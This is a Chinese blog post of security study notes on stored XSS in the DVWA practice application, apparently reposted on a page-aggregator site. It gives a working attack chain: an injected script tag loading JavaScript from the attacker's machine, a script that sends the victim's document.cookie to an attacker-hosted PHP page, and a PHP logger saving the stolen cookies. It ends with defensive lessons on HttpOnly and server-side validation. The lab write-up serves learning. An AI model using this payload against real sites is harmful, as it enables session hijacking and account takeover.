zoukankan      html  css  js  c++  java
  • Web安全测试学习笔记-DVWA-存储型XSS

    XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<

    我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~

    security level = low

    1.  在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框

         输入:<script src="http://172.24.107.155/test.js"></script>

         

         

         刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~

    2. 在本机的php服务下放入js代码文件和php文件。

       js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。

       test.js文件内容:

    var img = document.createElement("img")
    img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie);
    document.body.appendChild(img);

      test.php文件内容:

    <?php
    $cookie = $_GET["cookies"];error_log($cookie ."". "
    ",3,"cookies");
    ?>

    3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):

    4. 获得登录凭证

        攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~

        

         打开cookies文件,里面记录了被攻击方的登陆cookie:

        

        拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......

    security level = medium/high

    medium和high模式下,对Message做了输入过滤,对name只替换了<script>,并加上了长度限制,使用Burp Suite抓包把name的输入改为如下即可

    一点点感悟:

    1. 通过脚本读取cookie其实很好防御,加上HttpOnly就好了>_<

    2. 参数的长度校验前后端都要做,只做前端等于没做。。。

    如需转载,请注明出处,这是对他人劳动成果的尊重~

  • 相关阅读:
    java用户角色权限设计
    六种方式实现hibernate查询,及IDE推荐
    SSH远程会话管理工具
    Linux学习之CentOS(十三)--CentOS6.4下Mysql数据库的安装与配置
    Linux 下JDK安装
    linux下FTP的工具和使用以及rpmReadSignature failed错误
    不用FTP使用SecureCRT上传下载文件,并解决rz、sz command not found异常
    hibernate通过数据库表反向生成实体类
    解决vmware 桥联 再次使用联不上网的问题
    log4j详解与实战
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/11951361.html
Copyright © 2011-2022 走看看